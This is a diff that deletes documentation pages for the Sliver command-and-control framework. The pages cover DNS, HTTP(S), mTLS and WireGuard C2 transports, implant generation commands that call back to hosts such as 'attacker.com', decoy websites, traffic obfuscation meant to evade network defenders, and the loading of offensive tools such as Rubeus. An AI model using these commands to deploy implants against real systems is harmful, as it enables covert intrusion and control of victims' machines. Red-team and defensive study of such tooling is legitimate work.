+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ -``` - -Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be up to 254 characters in length and may only contain ASCII `a-z`, `A-Z`, `0-9`, `-`, but `-` may not appear at the beginning of a name, and of course `.` separators. Each subdomain is separated by a `.` and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus `a` and `A` are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both `a` and `A` are technically allowed they're just considered equal in DNS' semantics. - -Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server. - -To work around this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a 2x size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around 1.6x size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over 1.33x message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver. - -Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fall back to Base32. I call this process "fingerprinting" the resolver. - -### Fingerprinting Rude Resolvers - -The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g., `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value. - -In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58. - -### Bytes Per Query - -Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of `n` bytes we must dynamically determine how many queries are needed to send the message. - -First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using `1.abc.com` (254 - 9 = 245) vs. `a.thisisalongdomainname.com` (254 - 27 = 227), however we must also account for `.` every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and `.`'s) and is calculated as: - -```go -254 - len(parent) - (1 + (254-len(parent))/64) -``` - -This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially: the encoded length of `n` bytes must be equal to or less than the subdata space. It's important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders. - -### Parallel Send/Recv - -In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order. - -To account for this, Sliver wraps the message of `n` bytes in a protobuf message that contains some metadata: - -```protobuf -message DNSMessage { - DNSMessageType Type = 1; // An enum type - uint32 ID = 2; // 8 bit message id + 24 bit dns session ID - uint32 Start = 3; // These bytes of `Data` start at - uint32 Stop = 4; // These bytes of `Data` stop at - uint32 Size = 5; // Total message size (e.g. last message Stop = Size) - bytes Data = 6; // Actual data -} -``` - -This does result in some overhead, and we must account for this as part of the bytes-per-query math. - -Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received. diff --git a/capabilities/sliver-c2/docs/sliver/c2/https-c2.md b/capabilities/sliver-c2/docs/sliver/c2/https-c2.md deleted file mode 100644 index 6f5e2e3..0000000 --- a/capabilities/sliver-c2/docs/sliver/c2/https-c2.md +++ /dev/null @@ -1,227 +0,0 @@ -Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous. There are separate commands for the listeners but an implant generated with `--http` may attempt to connect over both HTTP and HTTPS (see "under the hood" for more details). - -## Generate the Implant - -Sliver implants are compiled with a baked-in (but obfuscated) server domain that they will reach back out to. To generate a Sliver implant that communicates to a server at `example.com` run the following: - -#### Basic Example - -``` -sliver > generate --http example.com --os mac - -[*] Generating new darwin/amd64 implant binary -[*] Build completed in 00:00:05 -[*] Implant saved to /Users/moloch/Desktop/WORKING_HACIENDA -``` - -#### Multiple Domains - -You can also specify multiple domains, in the event the implant cannot connect to the first it will subsequently attempt to connect to each domain you specified in order. Subsequent attempts are made based on the `--reconnect` argument (default 60 seconds). If no attempts are successful, the implant will loop across all of the domains until `--max-errors` (default 1000) is reached, at which point the implant will terminate execution: - -``` -sliver > generate --http example.com,attacker.com - -[*] Generating new windows/amd64 implant binary -[*] Build completed in 00:00:05 -[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE -``` - -#### URL Prefixes and Other Options - -Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP redirectors, etc. To add a URL prefix simply add a path to the domain as shown below: - -``` -sliver > generate --http example.com/foo/bar - -[*] Generating new windows/amd64 implant binary -[*] Build completed in 00:00:05 -[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE -``` - -This implant will now prepend `/foo/bar` to all generated URLs for `example.com`. You may specify different path prefixes for different domains if you so choose. - -#### Proxies - -The implant attempts to auto-detect proxy settings using a modified version of the [go-get-proxied](https://github.com/rapid7/go-get-proxied) library. It supports detection of system proxy settings on Windows, MacOS, and Linux. In the event the implant cannot make a successful HTTP/HTTPS connection for a given domain using the system proxy settings, it will also attempt to make a connection to the same domain ignoring the proxy settings. The order of connection attempts is as follows: - -1. HTTPS over system proxy -1. HTTP over system proxy -1. HTTPS direct connect -1. HTTP direct connect - -#### Proxy Configuration - -The priority of retrieval is the following: - -- **Windows** - - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected. - - Internet Options: Automatically detect settings (`WPAD`) - - Internet Options: Use automatic configuration script (`PAC`) - - Internet Options: Manual proxy server - - WINHTTP: (`netsh winhttp`) -- **Linux** - - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected. -- **MacOS** - - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected. - - Network Settings: `scutil` - -#### NTLM/Kerberos Proxy Authentication - -You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to convert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice. - -## Start the Listener - -To start an HTTP listener use the `http` command, with no parameters this will start a listener on port 80 and respond to any domain (i.e., HTTP `Host:`) that comes in: - -``` -sliver > http -``` - -You can optionally restrict the listener to only respond to a specific domain using the `--domain` flag, currently each listener can only accept a single domain (but you can start any number of listeners you want): - -``` -sliver > http --domain example.com -``` - -## Static Content - -Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the `websites` command (see `websites --help`): - -``` -websites --website fake-blog --web-path / --content ./index.html add -``` - -Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key/value pairs of request paths (e.g. `/foo/bar.html`) and response content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content. - -**Note:** C2-related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2. - -To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener: - -``` -sliver > http --website fake-blog --domain example.com -``` - -## SSL/TLS Certificates - -By default when using the `https` listener Sliver will simply generate a random self-signed certificate. However, other options do exist. The `https` listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the `--lets-encrypt` flag. - -``` -sliver > https --domain example.com --lets-encrypt -``` - -This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting). - -You can also upload your own SSL/TLS certificate/key pairs: - -``` -sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website fake-blog -``` - -## Modifying C2 Traffic - -You can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below: - -⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_. - -### `implant_config` - -| Field Name | Description | -| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `user_agent` | The implant's user agent, a blank string will randomly generate a platform appropriate user-agent and version (default: blank) | -| `chrome_base_version` | The Chrome version to put into the user agent head, plus a random value up to 3 (default: `100`) | -| `url_parameters` | A list of objects that contain a `name`, `value`, and a `probability` that should be included as URL query parameters in addition to the ones used by encoders (default: `null`). Probability may be 1-100, any other value will be treated as 100. URL parameter names must be 3 or more characters. | -| `headers` | A list of objects that contain a `name`, `value` and a `probability ` to add as request headers (default: `null`) | -| `max_files` | Max number of random file names to use (default: `8`) | -| `min_files` | Min number of random file names to use (default: `2`) | -| `max_paths` | Max number of path segments to generate per-URL in addition to any prefixes (default: `8`) | -| `min_paths` | Min number of path segments to generate per-URL in addition to any prefixes (default: `2`) | -| `stager_file_ext` | The file extension to associate with stagers (default: `.woff`) | -| `stager_files` | A list of strings that should be used as "file name" segments in the URL, appended with `stager_file_ext` | -| `stager_paths` | A list of strings that should be used as path segments in the generated URL | -| `poll_file_ext` | The file extension to associate with poll requests (default: `.js`) | -| `poll_files` | A list of strings that should be used as "file name" segments in the URL, appended with `poll_file_ext` | -| `poll_paths` | A list of strings that should be used as path segments in the generated URL | -| `start_session_file_ext` | The file extension to associate with key exchange messages (default: `.html`) | -| `session_file_ext` | The file extension to associate with session messages (default: `.php`) | -| `session_files` | A list of strings that should be used as "file name" segments in the URL, appended with `session_file_ext` and `start_session_file_ext` | -| `session_paths` | A list of strings that should be used as path segments in the generated URLs | -| `close_file_ext` | The file extension to associate with close session messages (default: `.png`) | -| `close_files` | A list of strings that should be used as "file name" segments in the URL, appended with `close_file_ext` | -| `close_paths` | A list of strings that should be used as path segments in generated URLs | - -### `server_config` - -| Field Name | Description | -| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `random_version_headers` | Boolean value, if enabled the server will return random Apache/Nginx and PHP version numbers (default: `false`) | -| `headers` | A list of objects containing a `name`, `value`, and a `probability` that should be included as response headers. Probability may be 1-100, any other value will be treated as 100. | -| `cookies` | A list of strings to use as cookie names | - -# Under the Hood - -This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users who want to understand, extend, or are simply curious about Sliver's design. - -### Design Goals - -The primary goals of the existing HTTP C2 design are to: - -- **Reliable Connections** The implant's foremost goal is to get a connection out of the network, regardless of the environment's configuration. -- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details. -- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below. - -### Procedural HTTP C2 - -Sliver [procedurally generates](https://en.wikipedia.org/wiki/Procedural_generation) each HTTP request with the C2 data in it based on the configuration file described above. Each request will have randomized URLs and query arguments, and different types of messages also use different file extensions/paths. - -Each implant is also only embedded with a randomly generated subset of the server's C2 profile, so two or more implants generated from the same server may not generate similar URLs depending on how you tweak the configuration. - -#### Implant-side - -The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now): - -1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted payload so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server. - -In the default configuration: - -- `.woff` = Stagers -- `.js` = Long poll messages -- `.html` = Key exchange messages -- `.php` = Session messages -- `.png` = Close session messages - -2. Randomly select an encoder from `sliver/encoders`, an encoder defines how the message we're trying to send to the server gets encoded. Note that we're always encoding the ciphertext of a message, these encoders are purely for obfuscation _not security_. The currently supported encoders are: - -- **Base64** Base64 with a custom alphabet so that it's not interoperable with standard Base64 -- **Hex** Standard hexadecimal encoding with ASCII characters -- **Gzip** Standard gzip -- **English** Encodes arbitrary data as English ASCII text -- **PNG** Encodes arbitrary data into valid PNG image files -- **Gzip+English** A combination of the Gzip and English encoders -- **Base64+Gzip** A combination of the Base64 and Gzip encoders - -Each of these encoders has a unique "Encoder ID," which is currently hardcoded but we'll probably randomly generate these per-server in the future. - -3. Generate a `nonce`, the nonce is equal to a random number times the `EncoderModulus` plus the encoder ID; the `EncoderModulus` is currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce modulo `EncoderModulus`) to determine the original Encoder ID. In code this looks like: - -``` -nonce := (util.Intn(maxN) * EncoderModulus) + encoderID -encoderId := nonce % EncoderModulus -``` - -The nonce is included in the request as the query parameter `_`, the idea is that this a standard pattern for "cache busting" and at a glance looks legitimate as the nonces look (are) random. The server also ignores any request that does not contain a valid nonce, just in case any pesky blue teamers come sniffing around the web server. An invalid nonce is define as any value that does not map to an Encoder ID or zero. A "NOP" nonce is also supported, which is an encoder ID of zero (i.e. the modulo of the nonce equals zero). - -4. Send the request to the server, this could be any valid transport such as HTTP, HTTPS, or over a proxy -the same request format is always used for any HTTP-like protocol. - -#### Server-side - -5. When the server receives the request it will route the request to a given handler based on the requested path's extension as detailed above (in this case we're talking about paths that end in `.php`). - -6. Check that the request contains a valid nonce, if the request does not contain a valid nonce it is ignored from a C2 standpoint but the server may still respond with `website` content. - -7. Determine the encoder based on the nonce, decode and decrypt the request. - -8. Execute any server-side processing. - -9. Should the request merit a response, encode the encrypted response using the same encoder as the request. By using the same encoder as the request we ensure the implant supports a given encoder (in case of a version mismatch between implant and server) and allows the implant to limit the encoders used if it so chooses. - -10. Send the response back to the implant. diff --git a/capabilities/sliver-c2/docs/sliver/c2/mtls-c2.md b/capabilities/sliver-c2/docs/sliver/c2/mtls-c2.md deleted file mode 100644 index c649fd0..0000000 --- a/capabilities/sliver-c2/docs/sliver/c2/mtls-c2.md +++ /dev/null @@ -1,86 +0,0 @@ -This page documents the current implant C2 mTLS transport implementation used between `server/` and `implant/` code paths. - -**Scope:** This is about implant callbacks over the `mtls` listener, not operator multiplayer gRPC/mTLS mode. - -## Connection Setup - -The server listener implementation lives in `server/c2/mtls.go` (`StartMutualTLSListener`): - -1. Starts a TLS listener (`tls.Listen`) for the configured bind/port. -1. Requires and verifies client certificates (`ClientAuth: tls.RequireAndVerifyClientCert`). -1. Uses the implant mTLS CA (`certs.MtlsImplantCA`) and enforces TLS 1.3 (`MinVersion: tls.VersionTLS13`). - -The implant-side transport lives in `implant/sliver/transports/mtls/mtls.go` (`MtlsConnect` / `getTLSConfig`): - -1. Dials TLS with an embedded implant cert/key and CA bundle. -1. Uses root validation via `RootOnlyVerifyCertificate(...)`. -1. Sends a yamux preface string (`MUX/1`) after TLS connects. - -After the preface, both sides use yamux multiplexing: - -- Server: `yamux.Server(...)` in `server/c2/mtls.go` -- Implant session/beacon: `yamux.Client(...)` in `implant/sliver/transports/session.go` and `implant/sliver/transports/beacon.go` - -Each C2 envelope is sent over a yamux stream and then the stream is closed. - -## mTLS Wire Format (Per Yamux Stream) - -Each stream carries a single framed message: - -`[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]` - -```mermaid:minh=444 -%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%% -packet-beta -title mTLS C2 Envelope Frame (byte offsets, per yamux stream) -0-1: "Alg" -2-9: "Key ID" -10-73: "Ed25519 Signature" -74-77: "Len" -78-109: "Payload (protobuf sliverpb.Envelope, continues...)" -``` - -Notes: - -- Diagram offsets are bytes (not bits) for readability. -- `Alg` = LE `uint16` (`0x6445`, EdDSA). -- `Key ID` = LE `uint64`. -- `Len` = LE `uint32` protobuf payload length. -- Raw signature size is fixed at 74 bytes: `2 + 8 + 64`. -- Length is the protobuf payload length only (it does not include signature bytes). - -## Envelope Payload - -The payload is `sliverpb.Envelope` from `protobuf/sliverpb/sliver.proto`: - -- `ID` (`int64`) request/response correlation -- `Type` (`uint32`) message type -- `Data` (`bytes`) message body -- `UnknownMessageType` (`bool`) set by implants for unsupported message types - -## Message Authentication Details - -Sliver signs each envelope payload even though the channel is already mTLS-protected. - -### Implant -> Server - -- Implant signs the marshaled `sliverpb.Envelope` payload in `implant/sliver/transports/mtls/mtls.go` (`WriteEnvelope`). -- Signing key derivation is deterministic from the implant peer private key: - - seed = `sha256("env-signing-v1:" + peerPrivateKey)` - - ed25519 keypair from that seed - - key ID = first 8 bytes of `blake2b(pubKey)` as little-endian uint64 -- Server verifies in `server/c2/mtls.go` (`socketReadEnvelope`): - - algorithm must be `EdDSA` - - key ID resolves to an implant signing public key via implant build metadata - - signature is verified with ed25519 - -### Server -> Implant - -- Server signs payloads in `server/c2/mtls.go` (`socketWriteEnvelope`) using the server minisign private key (`SignRawBuf`). -- Implant verifies in `implant/sliver/transports/mtls/mtls.go` (`ReadEnvelope`) using the embedded server minisign public key (`MinisignVerifyRaw`). - -## Runtime Behavior - -- Server rejects legacy mTLS connections that do not send the `MUX/1` preface. -- Session mode sends in-band pings every 2 minutes (`PingInterval`) using `MsgPing`. -- Server enforces a max inbound payload size of `(2 * 1024 * 1024 * 1024) - 1` bytes. diff --git a/capabilities/sliver-c2/docs/sliver/c2/wireguard-c2.md b/capabilities/sliver-c2/docs/sliver/c2/wireguard-c2.md deleted file mode 100644 index ab38ba6..0000000 --- a/capabilities/sliver-c2/docs/sliver/c2/wireguard-c2.md +++ /dev/null @@ -1,124 +0,0 @@ -This page documents the current implant C2 WireGuard transport implementation used between `server/` and `implant/` code paths. - -**Scope:** This is about implant callbacks over the `wg` listener, not operator multiplayer mode. - -## Listener and Tunnel Setup - -Server-side setup is implemented in `server/c2/wireguard.go` (`StartWGListener`): - -1. Creates a netstack TUN with server-side tunnel IP `100.64.0.1`. -1. Loads or generates server WireGuard keys. -1. Configures a WireGuard device with known peer keys and `/32` allowed IPs. -1. Starts two TCP listeners inside the WireGuard tunnel: - - key exchange port (default `1337`) - - C2 transport port (default `8888`) -1. Exposes the WireGuard UDP listener (default `53`). - -Defaults come from `server/rpc/rpc-jobs.go`: - -- WireGuard UDP listener: `53` -- In-tunnel C2 TCP port (`NPort`): `8888` -- In-tunnel key exchange TCP port (`KeyPort`): `1337` - -## Implant Connection Sequence - -Implant-side transport is implemented in `implant/sliver/transports/wireguard/wireguard.go`: - -1. The implant is generated with embedded WireGuard values: - - initial implant private key - - server public key - - peer TUN IP - - key-exchange and C2-in-tunnel ports -1. Implant brings up an initial WireGuard interface using those embedded values. -1. Implant dials the server key-exchange endpoint at `100.64.0.1:`. -1. Server returns session WireGuard material and a session tunnel IP. -1. Implant tears down the initial WireGuard interface. -1. Implant brings up a new WireGuard interface using the session values. -1. Implant dials `100.64.0.1:`. -1. Implant sends `MUX/1` yamux preface and starts yamux. - -After repeated failures, the implant will refresh session keys by running key exchange again. - -## Key Exchange Payload Format - -The key-exchange response payload is a fixed 146-byte message: - -```mermaid:minh=444 -%%{init: {'packet': {'bitsPerRow': 40, 'bitWidth': 24, 'rowHeight': 72}}}%% -packet-beta -title WireGuard Session Key Exchange Payload (146 bytes) -0-63: "Sess PrivKey (hex)" -64: "|" -65-128: "Server PubKey (hex)" -129: "|" -130-145: "Sess TUN IP (16B)" -``` - -Notes: - -- `Sess PrivKey (hex)` is the new implant WireGuard private key (64 hex chars). -- `Server PubKey (hex)` is the server WireGuard public key (64 hex chars). -- `Sess TUN IP (16B)` is raw `net.IP` bytes (not dotted string encoding). - -## C2 Envelope Wire Format (Per Yamux Stream) - -Each yamux stream carries a single framed envelope: - -`[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]` - -```mermaid:minh=444 -%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%% -packet-beta -title WireGuard C2 Envelope Frame (byte offsets, per yamux stream) -0-1: "Alg" -2-9: "Key ID" -10-73: "Ed25519 Signature" -74-77: "Len" -78-109: "Payload (protobuf sliverpb.Envelope, continues...)" -``` - -Notes: - -- Diagram offsets are bytes (not bits) for readability. -- `Alg` = LE `uint16` (`0x6445`, EdDSA). -- `Key ID` = LE `uint64`. -- `Len` = LE `uint32` protobuf payload length. -- Raw signature size is fixed at 74 bytes: `2 + 8 + 64`. -- Length is payload length only (it does not include signature bytes). - -## Envelope Payload - -The payload is `sliverpb.Envelope` from `protobuf/sliverpb/sliver.proto`: - -- `ID` (`int64`) request/response correlation -- `Type` (`uint32`) message type -- `Data` (`bytes`) message body -- `UnknownMessageType` (`bool`) set by implants for unsupported message types - -## Message Authentication Details - -Like mTLS, WireGuard C2 signs each envelope payload in addition to transport-layer encryption. - -### Implant -> Server - -- Implant signs marshaled envelope payloads in `implant/sliver/transports/wireguard/wireguard.go` (`WriteEnvelope`). -- Signing key derivation is deterministic from implant `PeerPrivateKey`: - - seed = `sha256("env-signing-v1:" + peerPrivateKey)` - - ed25519 keypair from that seed - - key ID = first 8 bytes of `blake2b(pubKey)` as LE `uint64` -- Server verifies in `server/c2/wireguard.go` (`socketWGReadEnvelope`) by: - - checking `EdDSA` algorithm - - resolving key ID to an implant signing public key - - verifying signature with ed25519 - -### Server -> Implant - -- Server signs payloads in `server/c2/wireguard.go` (`socketWGWriteEnvelope`) using server minisign private key. -- Implant verifies in `implant/sliver/transports/wireguard/wireguard.go` (`ReadEnvelope`) using embedded server minisign public key (`MinisignVerifyRaw`). - -## Runtime Behavior - -- Server rejects legacy WireGuard C2 connections that do not send the `MUX/1` preface. -- Session mode sends in-band pings every 2 minutes (`PingInterval`) using `MsgPing`. -- Beacon mode and session mode both use one envelope per yamux stream. -- Server enforces max inbound payload size of `(2 * 1024 * 1024 * 1024) - 1` bytes. diff --git a/capabilities/sliver-c2/docs/sliver/reference/aliases-and-extensions.md b/capabilities/sliver-c2/docs/sliver/reference/aliases-and-extensions.md deleted file mode 100644 index b85e2f9..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/aliases-and-extensions.md +++ /dev/null @@ -1,160 +0,0 @@ -Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory). - -#### Aliases Command Parsing - -**⚠️ IMPORTANT:** It's important to understand that all alias commands have certain Sliver shell flags (those that appear in `--help`). Your Sliver shell commands are lexically parsed by the Sliver shell first, and only unnamed positional arguments are passed to the alias code. This means you may need to escape certain arguments in order for them to be correctly parsed. - -For example with Seatbelt, `seatbelt -group=system` will fail because the Sliver shell will attempt to interpret the `-group` flag as a named flag (i.e., arguments that appear in `--help`). To ensure this argument is parsed as a positional argument we need to tell the CLI that no more arguments are to be passed to the sliver command using `--`, so the correct syntax is `seatbelt -- -group=system` - -```plaintext -[server] sliver (ROUND_ATELIER) > seatbelt -group=system -error: invalid flag: -group - -[server] sliver (ROUND_ATELIER) > seatbelt -- -group=system - -[*] seatbelt output: - - - %&&@@@&& - &&&&&&&%%%, #&&@@@@@@%%%%%%###############% - &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% -%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( -#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( -#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( -#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( -#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### -###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### -#####%###################### %%%.. @////(((&%%%%%%%################ - &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* - &%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%, - #%%%%##, - - -====== AMSIProviders ====== - - GUID : {2781761E-28E0-4109-99FE-B9D127C57AFE} - ProviderPath : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2111.5-0\MpOav.dll" - -====== AntiVirus ====== - -Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not available on Windows Servers - -... -``` - -Another trick is to provide a single empty string argument, after which all arguments will be parsed as positional e.g., `seatbelt '' -group=system` - -**⚠️ IMPORTANT:** Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension. - -## What's the difference between an alias and an extension? - -From an end-user perspective there's not much of a difference between the two, except that extensions' arguments will show up in `--help` and may be required. - -An alias is essentially just a thin wrapper around the existing `sideload` and `execute-assembly` commands, and aliases cannot have dependencies. - -An extension is a shared library that is reflectively loaded into the Sliver implant process, and is passed several callbacks to return data to the implant. As such these extensions must implement the Sliver API. Extensions may also have dependencies, which are other extensions. For example, the COFF Loader is a DLL extension that loads and executes BOFs, in turn BOFs simply extensions that rely on the COFF Loader as a dependency. These types of extensions do not need to implement any Sliver-specific API, since the Sliver API is abstracted by their dependency. - -## Aliases - -A Sliver alias is nothing more than a folder with the following structure: - -- an `alias.json` file -- alias binaries in one of the following formats: - - .NET assemblies - - shared libraries (`.so`, `.dll`, `.dylib`) - -Here is an example for the `Rebeus` alias, reusing some of the public tools from [the GhostPack organisation](https://github.com/GhostPack): - -``` -$ tree GhostPack -Rubeus -├── alias.json -├── Rubeus.exe -``` - -The `alias.json` file has the following structure: - -```json -{ - "name": "Rubeus", - "version": "0.0.0", - "command_name": "rubeus", - "original_author": "@GhostPack (HarmJ0y)", - "repo_url": "https://github.com/sliverarmory/Rubeus", - "help": "Rubeus is a C# tool set for raw Kerberos interaction and abuses.", - - "entrypoint": "Main", - "allow_args": true, - "default_args": "", - "is_reflective": false, - "is_assembly": true, - "files": [ - { - "os": "windows", - "arch": "amd64", - "path": "Rubeus.exe" - }, - { - "os": "windows", - "arch": "386", - "path": "Rubeus.exe" - } - ] -} -``` - -It contains a single JSON object, which has the following fields: - -### Alias Fields - -| Field Name | Description | -| --------------- | ---------------------------------------------------------- | -| `name` | The stylized display name of the alias | -| `command_name` | The actual console command (primary identifier) | -| `entrypoint` | The entrypoint (only required for DLLs / Reflective DLLs) | -| `help` | A short help message for the command | -| `long_help` | A longer help message describing the command and its usage | -| `allow_args` | Specify whether the command will allow arguments or not | -| `files` | A list of of extension files | -| `is_reflective` | Indicates whether the extension is a reflective DLL or not | -| `is_assembly` | Indicates whether the extension is a .NET assembly or not | - -#### Files - -| Field Name | Description | -| ---------- | ----------------------------------------------------------------------------------- | -| `os` | The operating system for which the file can be used on (i.e., `GOOS` syntax) | -| `arch` | The cpu architecture (i.e., `GOARCH` syntax) | -| `path` | Relative path to the file from the `alias.json`, parent directories are not allowed | - -To load an alias in Sliver, use the `alias load` command: - -``` -sliver (CONCRETE_STEEL) > alias load /home/lesnuages/tools/misc/sliver-extensions/GhostPack/Rubeus - -[*] Adding rubeus command: Rubeus is a C# toolset for raw Kerberos interaction and abuses. -[*] Rubeus extension has been loaded -``` - -The `help` command will now list the commands added by this extension: - -``` -sliver (CONCRETE_STEEL) > help -... -Sliver - 3rd Party extensions: -============================== - rubeus [GhostPack] Rubeus is a C# toolset for raw Kerberos interaction and abuses. -... -``` - -### Writing Aliases - -To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above. - -As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms. - -## Extensions - -⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support. - -Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`). diff --git a/capabilities/sliver-c2/docs/sliver/reference/anti-virus-evasion.md b/capabilities/sliver-c2/docs/sliver/reference/anti-virus-evasion.md deleted file mode 100644 index fe060c3..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/anti-virus-evasion.md +++ /dev/null @@ -1,6 +0,0 @@ -The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and 